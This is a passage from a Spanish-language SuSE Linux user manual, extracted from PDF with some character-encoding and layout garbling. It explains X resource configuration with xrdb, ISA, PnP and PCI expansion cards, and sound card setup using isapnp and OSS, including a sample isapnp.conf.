  18307. para  los  caracteres  y  otro  para  el  fondo  (bg   =  ''background'',  fg   =  ''fore-
  18308. ground''), si el programa en cuesti≤n lo soporta:
  18309.  
  18310.       xterm  -bg  darkblue  -fg  white
  18311.  
  18312. El resultado de este comando es una Xterm azul con letras en blanco.
  18313.  
  18314.  
  18315. ┐C≤mo se realizan las nuevas configuraciones?
  18316.  
  18317. Los ajustes globales que afectan a todo el sistema se activan cuando el sistema
  18318. X  Window  se  inicia.   El  mismo  servidor  X  administra  estos  ajustes  en  un
  18319. banco de datos de recursos (ingl. X Resource DataBase, xrdb).  Para activar
  18320. los cambios en la configuraci≤n global, es preciso cargar el banco de datos de
  18321. recursos nuevamente y a mano. Esto se lleva a cabo con el siguiente comando:
  18322.  
  18323.       tux@tierra:  >  xrdb  ~/.Xresources
  18324.  
  18325.  
  18326.                                                                                                                                    *
  18327.  *   283
  18328. 9.  El Windowmanager_~_La_ventana_a_su_PC__________________________________________________________________________________________*
  18329.  *_______________________________________@
  18330.  
  18331.  
  18332.  
  18333.                            Cuando  el  servidor  X  se  inicia,  existe  un  determinado  orden  en  el  cual  se
  18334.                            procesan los ajustes para las distintas aplicaciones.
  18335.  
  18336.                              o   Primero se leen los ajustes globales para la aplicaci≤n en cuesti≤n desde
  18337.                                  el fichero /usr/X11R6/lib/X11/app-defaults.
  18338.  
  18339.                              o   Si  tambiΘn  existen  ajustes  propios  en  el  fichero  ~/.Xresources  de  su
  18340.                                  directorio de usuario, estos se superponen a los ajustes globales.
  18341.  
  18342.                              o   La  mßxima  prioridad  la  tienen  los  parßmetros  que  se  indican  explφcita-
  18343.                                  mente en el momento de iniciar la aplicaci≤n. Estos parßmetros se pueden
  18344.                                  indicar en la lφnea de comandos o en el fichero de configuraci≤n del gestor
  18345.                                  de ventanas.
  18346.  
  18347.                            El programa xrdb indica los ajustes momentßneos:
  18348.  
  18349.                                  tux@tierra:  >  xrdb  -q
  18350.  
  18351.                            puede tener la siguiente respuesta:
  18352.  
  18353.                                  emacs*geometry:       100x45-5-5
  18354.                                  netscape.geometry:  610x760+140+30
  18355.                                  xdvi*geometry:         720x895+250+5
  18356.  
  18357.                            Finalmente un consejo prßctico:
  18358.                            ________________________________________________________________________________________________________*
  18359.  *________||
  18360.  
  18361.                            |  En  el  caso  de  que  un  programa  no  se  modifique  con  los  nuevos  ajustes                    *
  18362.  *        ||||
  18363.                            |  (p. ej.  otro juego de caracteres) aunque estos hayan sido realizados explφci-                       *
  18364.  *        |||
  18365.                            |                                                                                                       *
  18366.  *        |||
  18367.                            |  tamente  en  ~/.Xresources  y  se  haya  procesado  de  nuevo  el  banco  de                         *
  18368.  *        |||
  18369.                            |  datos de recursos, se debe comprobar entonces la coincidencia de may·s-                              *
  18370.  *        |||
  18371.                            |                                                                                                       *
  18372.  *        |||
  18373.                            |  culas y min·sculas en los nombres de los widgets.                                                    *
  18374.  *        |||
  18375.                            |_______________________________________________________________________________________________________*
  18376.  *________|||_
  18377.  
  18378.  
  18379. 284
  18380.  
  18381.                               Parte  V
  18382.  
  18383.  
  18384. Hardware   bajo   Linux
  18385.  
  18386.  
  18387.                                                                                                                         285
  18388.  
  18389.  
  18390.                                                                                                       Capφtulo  10
  18391.                        Linux   y   el   hardware   adicional
  18392.  
  18393.  
  18394.  
  18395. 10.1        Introducci≤n
  18396.  
  18397.  
  18398. Hoy en dφa es posible incorporar la mayorφa de los perifΘricos y hardware adi-
  18399. cional a un PC con Linux, con un esfuerzo que depende en gran parte del caso
  18400. concreto.  Este capφtulo explica los detalles del ''c≤mo'' y menciona el soft-
  18401. ware a disposici≤n.  El tema de la impresi≤n ya fue tratado en el capφtulo 12
  18402. en la pßgina 325Impresoraschapter.12  , el de enviar Fax en el apartado 6.10
  18403. en la pßgina 209Linux + Fax: íUna buena combinaci≤n!section.6.10  y el uso
  18404. de  RDSI  en  el  apartado  6.2  en  la  pßgina  173Acceso  a  Internet  vφa  RDSI  ~
  18405. la configuraci≤nsection.6.2.     El hardware especial para los portßtiles como
  18406. son las tarjetas PCMCIA y los dispositivos IrDA es tema del capφtulo 11 en la
  18407. pßgina 309Portßtiles ~ PCMCIA, APM, IrDAchapter.11.
  18408.  
  18409.  
  18410.  
  18411. 10.2        Tarjetas de expansi≤n
  18412.  
  18413.  
  18414. En  una  PC  estßndar  se  utilizan  mayoritariamente  tarjetas  de  expansi≤n  del
  18415. tipo  ISA  (''Industry  Standard  Architecture'')  o  del  tipo  PCI-  (''Peripheral
  18416. Component Interconnect'').
  18417.  
  18418. El bus AGP (''Accelerated Graphics Port'') es una cierta excepci≤n,  ya que
  18419. los dispositivos que se encuentran sobre Θl se ''ven'' tambiΘn en el bus PCI.
  18420. Ademßs  no  se  diferencian  en  su  tratamiento  l≤gico.  ~  Las  tarjetas  del  tipo
  18421. PCMCIA  se  encuentran  sobre  todo  en  los  portßtiles   ;  la  configuraci≤n  de
  18422. estas se explica en el capφtulo 11 en la pßgina 309Portßtiles ~ PCMCIA, APM,
  18423. IrDAchapter.11.
  18424.  
  18425.  
  18426.  
  18427. 10.2.1       Tarjetas ISA y PCI
  18428.  
  18429. Los siguientes apartados exponen el funcionamiento de las tarjetas ISA y PCI;
  18430. su configuraci≤n se explica mediante el ejemplo de una tarjeta de sonido.
  18431.  
  18432.  
  18433.  
  18434. Tarjetas ISA
  18435.  
  18436. Estas tarjetas representan la forma mßs antigua de las tarjetas de expansi≤n
  18437. para PC. El bus es de 8 o 16 bit y su frecuencia mßxima es de 8 MHz. Muchas
  18438. placas base permiten el aumento de la frecuencia, pero esto puede producir
  18439. problemas. Hay tres categorφas de tarjetas ISA:
  18440.  
  18441.  
  18442.                                                                                                                                    *
  18443.  *   287
  18444. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  18445.  *_______________________________________@
  18446.  
  18447.  
  18448.  
  18449.                            Legacy-Cards:            Estas  tarjetas  se  configuran  completamente  ''a  mano''.   El
  18450.                                  usuario  tiene  que  configurar  los  recursos  como  direcci≤n  de  E/S,  Inter-
  18451.                                  rupciones y canales DMA mediante ''jumpers'' o ''microswitch'', tratando
  18452.                                  de evitar el uso duplicado de recursos por parte de las tarjetas. Por lo tanto
  18453.                                  la configuraci≤n de estas tarjetas puede ser complicada.
  18454.  
  18455.                            Jumperless-Cards:              En comparaci≤n a la primera generaci≤n de tarjetas, Θs-
  18456.                                  tas ya no exigen la configuraci≤n mediante ''jumper'', si no que se config-
  18457.                                  uran con un programa especial.  Este programa normalmente existe solo
  18458.                                  para DOS, por lo que no se puede usar en Linux.
  18459.  
  18460.                            PnP-Cards:          Las  tarjetas  ''Plug  and  Play''  son  el  avance  l≤gico  de  las
  18461.                                  ''Jumperless-Cards''.   Las  tarjetas  reciben  una  lista  sobre  las  configu-
  18462.                                  raciones posibles y un programa o driver especial se encarga de consultar
  18463.                                  las configuraciones de todas las tarjetas PnP del sistema, configurßndolas
  18464.                                  de tal manera que no interfieran unas con otras.
  18465.  
  18466.                                  Una tarjeta no existe para el sistema hasta que no estΘ configurada.  En
  18467.                                  Linux, el paquete isapnp de la serie ap se encarga de la configuraci≤n de
  18468.                                  las tarjetas PnP. El paquete ofrece los dos programas pnpdump y isapnp .
  18469.  
  18470.  
  18471.                            ┐C≤mo activar tarjetas PnP con isapnp ?
  18472.  
  18473.                            Proceda de la siguiente forma:
  18474.  
  18475.                              o   Entre al sistema como `root'.
  18476.                              o   Si encuentra un fichero isapnp.conf en el directorio /etc, primero se
  18477.                                  debe hacer un respaldo del mismo:
  18478.                                  tierra:/  #  mv  /etc/isapnp.conf  /etc/isapnp.conf.bak
  18479.                              o   Con el comando
  18480.                                  tierra:/  #  pnpdump  -c  >  /etc/isapnp.conf
  18481.  
  18482.                                  se genera el fichero /etc/isapnp.conf.  Con el parßmetro -c   se con-
  18483.                                  sigue que pnpdump  prepare directamente el fichero de salida para la ini-
  18484.                                  cializaci≤n de las tarjetas PnP.
  18485.                              o   El comando
  18486.                                  tierra:/  #  isapnp  /etc/isapnp.conf
  18487.  
  18488.                                  inicializa las tarjetas PnP en la computadora;  SuSE     Linux las inicializa
  18489.                                  cada vez que se arranque Linux.
  18490.  
  18491.  
  18492.                            Posibles fuentes de error
  18493.  
  18494.                            Problema:         El mensaje de pnpdump        es:  "No  boards  found".  TambiΘn es
  18495.                                  posible que se reconozcan algunas, pero no todas las tarjetas ISA-PnP.
  18496.  
  18497.                            Soluciones:
  18498.  
  18499.                                  o   En  realidad  no  hay  ninguna  tarjeta  ISA-PnP  en  la  computadora.   Se
  18500.                                      debe  comprobar  quΘ  tarjetas  estßn  instaladas  y  tambiΘn  leer  la  doc-
  18501.                                      umentaci≤n  que  les  corresponde.   Para  aclarar  las  dudas  pregunte  al
  18502.                                      distribuidor de las tarjetas o de su computadora.
  18503.  
  18504.                                  o   La(s)  tarjeta(s)  son  defectuosas;  comprobar  su  correcto  ajuste  en  las
  18505.                                      ranuras  y  probar  el  funcionamiento  de  las  mismas  bajo  otro  sistema
  18506.                                      operativo.
  18507.  
  18508.  
  18509. 288
  18510.        _________________________________________________________________________________________10.2.__Tarjetas_de_expansi≤n_______*
  18511.  *______________________
  18512.  
  18513.  
  18514.  
  18515.       o   Hay  tarjetas  que  se  pueden  usar  como  tarjetas  ISA-PnP  o  con  asig-
  18516.           naci≤n  fija  de  los  recursos   (asφ  son  algunas  tarjetas  Ethernet  ISA
  18517.           NE2000  de  10  Mbit/s).     Generalmente  existe  un  programa  basado
  18518.           en DOS que permite cambiar de modalidad. Seg·n la configuraci≤n de
  18519.           las tarjetas, Θstas no aparecen en el resultado de pnpdump       .
  18520.  
  18521.       o   Algunas tarjetas ISA-PnP no se pueden usar junto con otras.  En estos
  18522.           casos, solo se ve una de ellas en el resultado de pnpdump .  Para evitar
  18523.           este problema se puede intentar desactivar la caracterφstica PnP de una
  18524.           tarjeta (p. ej.  con un jumper directo sobre la tarjeta) y usarla asφ con
  18525.           recursos fijos.
  18526.  
  18527.       o   Es  posible  que  existan  tarjetas  que  (en  muy  pocas  ocasiones)  se  re-
  18528.           setean  despuΘs  de  ejecutar  pnpdump .   Si  la  tarjeta  en  cuesti≤n  es  la
  18529.           controladora SCSI que conecta el disco duro con la partici≤n raφz, es-
  18530.           to podrφa ocasionar el ⁿc elgue"de la computadora.  Si ocurre esto, se
  18531.           debe configurar la tarjeta de tal manera que deje de trabajar como dis-
  18532.           positivo ISA-PnP (en el supuesto que la tarjeta lo soporte).    Tal vez
  18533.           se puede prescindir completamente de la inicializaci≤n de la tarjeta ba-
  18534.           jo Linux arrancando el sistema con loadlin , por lo tanto la tarjeta ya
  18535.           estarφa inicializada antes de entrar a Linux.
  18536.  
  18537. Problema:          Al  ejecutar  el  comando  isapnp  o  al  iniciar  Linux  aparece  un
  18538.       mensaje de error parecido al siguiente:
  18539.       *  LD  setting  failed,  this  may  not  be  a  problem.
  18540.       *  Try  adding  (VERIFYLD  N)  to  the  top  of  your  script
  18541.       *
  18542.       *  Error  occured  requested  `LD2`  on  or  around  line  319
  18543.       *  ---  further  action  aborted
  18544.  
  18545. Soluci≤n:        Siga  el  consejo  del  mensaje  de  error  y  a±ada  al  comienzo  del
  18546.       fichero /etc/isapnp.conf la siguiente lφnea:
  18547.  
  18548.       (VERIFYLD  N)
  18549.  
  18550.  
  18551.       o sea p. ej. :
  18552.       #  [...]
  18553.       #  (DEBUG)
  18554.       (VERIFYLD  N)
  18555.       (READPORT  0x0203)
  18556.       (ISOLATE)
  18557.       (IDENTIFY  *)
  18558.       #  [...]
  18559.  
  18560. Problema:          Al  ejecutar  el  comando  isapnp  o  al  iniciar  Linux  aparece  un
  18561.       mensaje de error parecido al siguiente:
  18562.       [...]
  18563.       /etc/isapnp.conf:66  --
  18564.           Fatal  -  resource  conflict  allocating  16  bytes
  18565.           of  IO  at  220  (see  /etc/isapnp.conf)
  18566.       /etc/isapnp.conf:66  --  Fatal  -  IO  range  check
  18567.           attempted  while  device  activated
  18568.       /etc/isapnp.conf:66  --  Fatal  -  Error  occurred
  18569.           executing  request  '<IORESCHECK>  '  ---  further
  18570.           action  aborted
  18571.  
  18572.  
  18573.                                                                                                                                    *
  18574.  *   289
  18575. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  18576.  *_______________________________________@
  18577.  
  18578.  
  18579.  
  18580.                            Soluci≤n:        Probablemente  hay  un  conflicto  entre  los  valores  seleccionados
  18581.                                  en /etc/isapnp.conf/ y los usados por la computadora.  Coordine la
  18582.                                  informaci≤n sobre los recursos usados que se encuentran en /proc con la
  18583.                                  de /etc/isapnp.conf; esto no es necesario si pnpdump se ha encargado
  18584.                                  de ello usßndolo con la opci≤n -c  .
  18585.                            ________________________________________________________________________________________________________*
  18586.  *________||
  18587.                            |  Algunas veces se pueden presentar problemas cuando estß activada la con-                             *
  18588.  *        ||||
  18589.                            |                                                                                                       *
  18590.  *        |||
  18591.                            |  figuraci≤n automßtica por parte de la BIOS. En estos casos se debe entrar                            *
  18592.  *        |||
  18593.                            |  al ''Setup'' de la BIOS para desactivarla ya que pnpdump  e isapnp  se en-                           *
  18594.  *        |||
  18595.                            |                                                                                                       *
  18596.  *        |||
  18597.                            |  cargan de la configuraci≤n automßtica.                                                               *
  18598.  *        |||
  18599.                            |_______________________________________________________________________________________________________*
  18600.  *________|||_
  18601.  
  18602.                            Si  los  problemas  persisten,  consulte  la  documentaci≤n  completa  acerca  de
  18603.                            paquete isapnp.  Esta se encuentra en el directorio /usr/doc/packages/
  18604.                            isapnp. Tomando como ejemplo una tarjeta de sonido, al final de este aparta-
  18605.                            do se puede observar de nuevo la configuraci≤n de una tarjeta PnP.
  18606.  
  18607.  
  18608.                            Tarjetas PCI
  18609.  
  18610.                            Las tarjetas PCI normalmente no exigen ninguna configuraci≤n por parte del
  18611.                            usuario.   El  acuerdo  sobre  el  estßndar  del  bus  PCI  trata  de  suprimir  todas
  18612.                            las desventajas de los buses anteriores; por eso estß directamente prevista la
  18613.                            auto-configuraci≤n de las tarjetas.
  18614.  
  18615.                            Al  arrancar  la  computadora,  la  BIOS  configura  todas  las  tarjetas  PCI.  Por
  18616.                            lo general es posible intervenir en la distribuci≤n de las interrupciones con-
  18617.                            figurando la BIOS. Linux lee la configuraci≤n de los dispositivos PCI direc-
  18618.                            tamente  de  la  BIOS  y  usa  estos  datos  para  cualquier  informaci≤n  sobre  el
  18619.                            subsistema PCI.
  18620.  
  18621.                            Con el comando
  18622.                            tierra:/  #  lspci  -tv
  18623.  
  18624.                            es posible sacar una lista de todos los dispositivos que Linux reconoce en el
  18625.                            bus PCI:
  18626.                            ________________________________________________________________________________________________________*
  18627.  *________||
  18628.                            | -[00]-+-00.0   Intel  Corporation  440BX/ZX  -  82443BX/ZX  Host  bridge                              *
  18629.  *         |
  18630.                            |          +-01.0-[01]----00.0   Nvidia  Corporation  Riva  TNT                                         *
  18631.  *         |
  18632.                            |          +-04.0   Intel  Corporation  82371AB  PIIX4  ISA                                             *
  18633.  *         |
  18634.                            |          +-04.1   Intel  Corporation  82371AB  PIIX4  IDE                                             *
  18635.  *         |
  18636.                            |          +-04.2   Intel  Corporation  82371AB  PIIX4  USB                                             *
  18637.  *         |
  18638.                            |                                                                                                       *
  18639.  *         |
  18640.                            |          +-04.3   Intel  Corporation  82371AB  PIIX4  ACPI                                            *
  18641.  *         |
  18642.                            |          +-06.0   Adaptec  7890                                                                       *
  18643.  *         |
  18644.                            |          09.0   Digital  Equipment  Corporation  DECchip  21140  [FasterNet]                          *
  18645.  *         |
  18646.                            |_______________________________________________________________________________________________________*
  18647.  *________ |
  18648.                                Mensaje en pantalla 10.2.1: Salida en pantalla del comando lspci  -tv
  18649.  
  18650.  
  18651.                            El siguiente apartado trata sobre la configuraci≤n de una tarjeta de sonido para
  18652.                            bus PCI.
  18653.  
  18654.  
  18655.                            10.3        Tarjetas de sonido
  18656.  
  18657.                            Actualmente se ofrecen tarjetas de sonido con bus ISA y PCI. Los del tipo
  18658.                            PCI estßn reemplazando a los del tipo ISA y se puede suponer que las tarjetas
  18659.                            ISA desaparecerßn completamente del mercado dentro de un tiempo.
  18660.  
  18661.  
  18662. 290
  18663.        ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_____*
  18664.  *______________________
  18665.  
  18666.  
  18667.  
  18668. En SuSE     Linux hay dos posibilidades para soportar las tarjetas de sonido. Por
  18669. una parte es posible instalar el paquete opso o el paquete opsod_up (versi≤n
  18670. de demostraci≤n) o bien para mßquinas multiprocesador el paquete opso_smp
  18671. (tambiΘn de demostraci≤n), todos de la serie pay.  La alternativa es el uso de
  18672. los m≤dulos de kernel para el soporte de tarjetas de sonido.
  18673.  
  18674.  
  18675. 10.3.1       OSS y versiones de demostraci≤n de OSS
  18676.  
  18677. Estos  dos  paquetes  son  ideales  para  la  configuraci≤n  de  tarjetas  de  sonido
  18678. de  los  tipos  ISA  o  ISA-PnP.  El  paquete  opso  o  el  paquete  opso_smp,  que
  18679. forman parte de SuSE     Linux, ya estan registrados para los clientes de SuSE
  18680. y por tanto tienen plena funcionalidad.  El paquete opsod_up y el paquete
  18681. opsod_smp no estan registrados y su funci≤n se reduce a 20 minutos.
  18682.  
  18683. Para usar el driver de sonido OSS, proceda de la siguiente forma:
  18684.  
  18685.   o   Use YaST  para instalar un de los paquetes mencionados de la serie pay.
  18686.   o   Entre como superusuario `root' al directorio /tmp e inicie allφ el pro-
  18687.       grama oss-install          :
  18688.       tierra:/  #  cd  /tmp/opso-3.8.1z
  18689.       tierra:/tmp/opso-3.8.1z  #  ./oss-install
  18690.   o   El programa le guφa paso por paso por la instalaci≤n del driver.
  18691.   o   Cuando la instalaci≤n finaliza se puede usar el comando
  18692.       tierra:/tmp/opso-3.8.1z  #  soundon
  18693.  
  18694.       para cargar y usar los drivers OSS.
  18695.  
  18696. El siguiente pßrrafo explica c≤mo se realiza el soporte de sonido con m≤dulos
  18697. de kernel.
  18698.  
  18699.  
  18700. 10.3.2       ┐C≤mo se configuran las tarjetas de sonido bajo Linux?
  18701.  
  18702. Para usar una tarjeta de sonido en Linux, se deben seguir los siguientes pasos:
  18703.  
  18704.   o   Identificar la tarjeta:
  18705.  
  18706.       ~   ┐Cußl tarjeta se debe configurar (Fabricante, Chip en la tarjeta)?
  18707.  
  18708.       ~   ┐QuΘ tipo de bus se usa (ISA, ISA-PnP, PCI)?
  18709.  
  18710.   o   Configuraci≤n del hardware:
  18711.  
  18712.       ~   Configuraci≤n de los jumper, o configuraci≤n con las isapnp-Tools.
  18713.  
  18714.   o   Instalaci≤n/Carga del driver:
  18715.  
  18716.       ~   Carga de los m≤dulos de kernel , o inicio del driver de OSS .
  18717.  
  18718. A continuaci≤n se detallan los pasos expuestos arriba.
  18719.  
  18720.   o   Identificaci≤n del hardware:
  18721.  
  18722.       ~   Tarjetas de sonido tipo ISA-bus Legacy
  18723.           Estas tarjeta se usan a·n en computadoras ''antiguas''.  Se configuran
  18724.           mediante  una  serie  de  ''jumpers''  en  la  misma  tarjeta,  asignando  asφ
  18725.           los recursos (direcci≤n E/S (ingl. I/O-Port), IRQs y DMAs) de forma
  18726.           definida.
  18727.  
  18728.  
  18729.                                                                                                                                    *
  18730.  *   291
  18731. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  18732.  *_______________________________________@
  18733.  
  18734.  
  18735.  
  18736.                                  ~   Tarjetas de sonido tipo ISA-bus PnP
  18737.                                      Las  tarjetas  de  este  tipo  son  similares  a  las  del  tipo  Legacy  con  la
  18738.                                      diferencia  de  que  los  recursos  (direcci≤n  E/S  (ingl.  I/O-Port),  IRQs
  18739.                                      y DMAs) se configuran mediante una interface por software.  De este
  18740.                                      modo no hay que mover ''jumpers'' en la tarjeta.
  18741.  
  18742.                                  ~   Tarjetas de sonido tipo PCI-bus
  18743.                                      Estas tarjetas son las mßs fßciles de configurar, ya que la computadora
  18744.                                      las configura automßticamente. A travΘs de una interface por software,
  18745.                                      los driver pueden consultar la configuraci≤n de las tarjetas.
  18746.  
  18747.                              o   Configuraci≤n del hardware:
  18748.  
  18749.                                  ~   Tarjetas de sonido tipo ISA-bus Legacy:
  18750.  
  18751.                                      Seg·n  las  capacidades  de  la  tarjeta  de  sonido  se  precisa  la  configu-
  18752.                                      raci≤n de distintos recursos.  En el siguiente ejemplo se configura una
  18753.                                      Creative Soundblaster 16:
  18754.  
  18755.                                      I/O-ports
  18756.                                      Las siguientes direcciones E/S (I/O-ports)son importantes:
  18757.  
  18758.                                      *   Audio I/O
  18759.                                      *   Game Port
  18760.                                      *   MPU-401
  18761.                                      *   FM-Synthese
  18762.  
  18763.                                      Solo se puede modificar las direcciones para Audio I/O (0x220, 0x240,
  18764.                                      0x260  o  0x280)  y  MPU-401  (0x300  o  0x330);  las  direcciones  para
  18765.                                      Game-Port (0x200) o FM-Synthese (0x388) son fijas.
  18766.  
  18767.                                      Interrupciones (IRQs)
  18768.                                      La tarjeta necesita una interrupci≤n propia que se puede fijar en 2, 5, 7
  18769.                                      ≤ 10.
  18770.  
  18771.                                      Canales-DMA
  18772.                                      Es posible usar los canales 0, 1, 3, 5, 6 ≤ 7. Los valores predetermina-
  18773.                                      dos son DMA 1 para la transferencia de datos de 8-Bit- y DMA 5 para
  18774.                                      16-Bit.
  18775.  
  18776.                                      Ahora hay que poner los ''jumpers'' en la tarjeta de tal modo que Θsta
  18777.                                      no provoque conflictos (usando los mismos recursos).  Es conveniente
  18778.                                      anotar la configuraci≤n.
  18779.  
  18780.                                  ~   Tarjetas de sonido tipo ISA-bus PnP:
  18781.  
  18782.                                      Los recursos de estas tarjetas se han de configurar mediante software
  18783.                                      especial.     Usar  OSS  agiliza  mucho  la  configuraci≤n  de  las  tarjetas
  18784.                                      PnP, ya que este programa busca automßticamente las tarjetas y direc-
  18785.                                      tamente las configura.
  18786.  
  18787.                                      Se pueden usar las tarjetas PnP  tambiΘn con los m≤dulos del kernel.
  18788.                                      Para realizarlo se precisa la inicializaci≤n de la tarjeta antes de la car-
  18789.                                      ga del m≤dulo.  De esto se encarga en Linux el paquete isapnp.  El
  18790.                                      programa pnpdump        genera un fichero de configuraci≤n que desglosa
  18791.                                      todos  los  recursos  de  las  tarjetas  PnP  en  la  computadora.   Para  dis-
  18792.                                      tribuir  los  recursos  de  manera  diferente,  se  puede  editar  este  fichero
  18793.                                      manualmente.
  18794.  
  18795.  
  18796. 292
  18797. ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido____________*
  18798.  *_______________
  18799.  
  18800.  
  18801.  
  18802.    Con el comando
  18803.    tierra:/  #  pnpdump  -c  >  /etc/isapnp.conf
  18804.  
  18805.    se genera el fichero /etc/isapnp.conf.
  18806.  
  18807.    En  el  siguiente  ejemplo  se  activa  una  tarjeta  Creative  Soundblaster
  18808.    AWE64:
  18809.  
  18810.    #  This  is  free  software,  see  the  sources  for  details.
  18811.    #  This  software  has  NO  WARRANTY,  use  at  your  OWN  RISK
  18812.    #
  18813.    #  For  details  of  this  file  format,  see  isapnp.conf(5)
  18814.    #
  18815.    #  For  latest  information  and  FAQ  on  isapnp  and  pnpdump  see:
  18816.    #  http://www.roestock.demon.co.uk/isapnptools/
  18817.    #
  18818.    #  Compiler  flags:  -DREALTIME  -DNEEDSETSCHEDULER  -DABORT_ONRESERR
  18819.    #
  18820.    #  Trying  port  address  0203
  18821.    #  Trying  port  address  020b
  18822.    #  Board  1  has  serial  identifier  54  17  0e  db  74  9e  00  8c  0e
  18823.  
  18824.    #  (DEBUG)
  18825.    (READPORT  0x020b)
  18826.    (ISOLATE  PRESERVE)
  18827.    (IDENTIFY  *)
  18828.    (VERBOSITY  2)
  18829.    (CONFLICT  (IO  FATAL)(IRQ  FATAL)(DMA  FATAL)(MEM  FATAL))  #  or  WARNING
  18830.  
  18831.    #  Card  1:  (serial  identifier  54  17  0e  db  74  9e  00  8c  0e)
  18832.    #  Vendor  Id  CTL009e,  Serial  Number  386849652,  checksum  0x54.
  18833.    #  Version  1.0,  Vendor  version  2.0
  18834.    #  ANSI  string  -->Creative  SB  AWE64  Gold<--
  18835.    #
  18836.    #  Logical  device  id  CTL0044
  18837.    #        Device  supports  vendor  reserved  register  @  0x38
  18838.    #        Device  supports  vendor  reserved  register  @  0x3a
  18839.    #        Device  supports  vendor  reserved  register  @  0x3b
  18840.    #        Device  supports  vendor  reserved  register  @  0x3c
  18841.    #        Device  supports  vendor  reserved  register  @  0x3d
  18842.    #
  18843.    #  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  18844.    #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be  changed  if
  18845.    #  required
  18846.    #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  18847.  
  18848.    (CONFIGURE  CTL009e/386849652  (LD  0
  18849.    #        ANSI  string  -->Audio<--
  18850.  
  18851.    #  Multiple  choice  time,  choose  one  only  !
  18852.  
  18853.    #        Start  dependent  functions:  priority  preferred
  18854.    #           IRQ  5.
  18855.    #                    High  true,  edge  sensitive  interrupt  (by  default)
  18856.        (INT  0  (IRQ  5  (MODE  +E)))
  18857.    #           First  DMA  channel  1.
  18858.    #                    8  bit  DMA  only
  18859.    #                    Logical  device  is  not  a  bus  master
  18860.    #                    DMA  may  execute  in  count  by  byte  mode
  18861.    #                    DMA  may  not  execute  in  count  by  word  mode
  18862.    #                    DMA  channel  speed  in  compatible  mode
  18863.        (DMA  0  (CHANNEL  1))
  18864.  
  18865.  
  18866.                                                                                                                                293
  18867. 10.  Linux y el hardware_adicional_________________________________________________________________________________________________*
  18868.  *_______________________________________@
  18869.  
  18870.  
  18871.  
  18872.                                      #           Next  DMA  channel  5.
  18873.                                      ##                   16LobitgiDMAcaonlyl  device  is  not  a  bus  master
  18874.  
  18875.                                      #                    DMA  may  not  execute  in  count  by  byte  mode
  18876.                                      #                    DMA  may  execute  in  count  by  word  mode
  18877.                                      #                    DMA  channel  speed  in  compatible  mode
  18878.                                         (DMA  1  (CHANNEL  5))
  18879.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  18880.                                      #                    Minimum  IO  base  address  0x0220
  18881.                                      #                    Maximum  IO  base  address  0x0220
  18882.                                      #                    IO  base  alignment  1  bytes
  18883.                                      #                    Number  of  IO  addresses  required:  16
  18884.                                         (IO  0  (SIZE  16)  (BASE  0x0220))
  18885.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  18886.                                      #                    Minimum  IO  base  address  0x0330
  18887.                                      #                    Maximum  IO  base  address  0x0330
  18888.                                      #                    IO  base  alignment  1  bytes
  18889.                                      #                    Number  of  IO  addresses  required:  2
  18890.                                         (IO  1  (SIZE  2)  (BASE  0x0330))
  18891.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  18892.                                      #                    Minimum  IO  base  address  0x0388
  18893.                                      #                    Maximum  IO  base  address  0x0388
  18894.                                      #                    IO  base  alignment  1  bytes
  18895.                                      #                    Number  of  IO  addresses  required:  4
  18896.                                         (IO  2  (SIZE  4)  (BASE  0x0388))
  18897.  
  18898.                                      #        End  dependent  functions
  18899.                                        (NAME  "CTL009e/386849652[0]{Audio                       }")
  18900.                                         (ACT  Y)
  18901.                                      ))
  18902.                                      #
  18903.                                      #  Logical  device  id  CTL7002
  18904.                                      #        Device  supports  vendor  reserved  register  @  0x39
  18905.                                      #        Device  supports  vendor  reserved  register  @  0x3a
  18906.                                      #        Device  supports  vendor  reserved  register  @  0x3b
  18907.                                      #        Device  supports  vendor  reserved  register  @  0x3c
  18908.                                      #        Device  supports  vendor  reserved  register  @  0x3d
  18909.                                      #
  18910.                                      #  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  18911.                                      #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be  changed  if
  18912.                                      #  required
  18913.                                      #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  18914.  
  18915.                                      (CONFIGURE  CTL009e/386849652  (LD  1
  18916.                                      #        Compatible  device  id  PNPb02f
  18917.                                      #        ANSI  string  -->Game<--
  18918.  
  18919.                                      #  Multiple  choice  time,  choose  one  only  !
  18920.  
  18921.                                      #        Start  dependent  functions:  priority  preferred
  18922.                                      #           Logical  device  decodes  16  bit  IO  address  lines
  18923.                                      #                    Minimum  IO  base  address  0x0200
  18924.                                      #                    Maximum  IO  base  address  0x0200
  18925.                                      #                    IO  base  alignment  1  bytes
  18926.                                      #                    Number  of  IO  addresses  required:  8
  18927.                                         (IO  0  (SIZE  8)  (BASE  0x0200))
  18928.  
  18929.                                      #        End  dependent  functions
  18930.                                        (NAME  "CTL009e/386849652[1]{Game                         }")
  18931.                                         (ACT  Y)
  18932.                                      ))
  18933.  
  18934.  
  18935.  
  18936. 294
  18937.      ______________________________________________________________________________________________10.3.__Tarjetas_de_sonido_______*
  18938.  *____________________
  18939.  
  18940.  
  18941.  
  18942.         #
  18943.         ## LogicalDedeviceviidceCTL0023supports  vendor  reserved  register  @  0x38
  18944.  
  18945.         #        Device  supports  vendor  reserved  register  @  0x3a
  18946.         #        Device  supports  vendor  reserved  register  @  0x3b
  18947.         #        Device  supports  vendor  reserved  register  @  0x3c
  18948.         #        Device  supports  vendor  reserved  register  @  0x3d
  18949.         #
  18950.         #  Edit  the  entries  below  to  uncomment  out  the  configuration  required.
  18951.         #  Note  that  only  the  first  value  of  any  range  is  given,  this  may  be  changed  if
  18952.         #  required
  18953.         #  Don't  forget  to  uncomment  the  activate  (ACT  Y)  when  happy
  18954.  
  18955.         (CONFIGURE  CTL009e/386849652  (LD  2
  18956.         #        ANSI  string  -->WaveTable<--
  18957.  
  18958.         #  Multiple  choice  time,  choose  one  only  !
  18959.  
  18960.         #        Start  dependent  functions:  priority  preferred
  18961.         #           Logical  device  decodes  16  bit  IO  address  lines
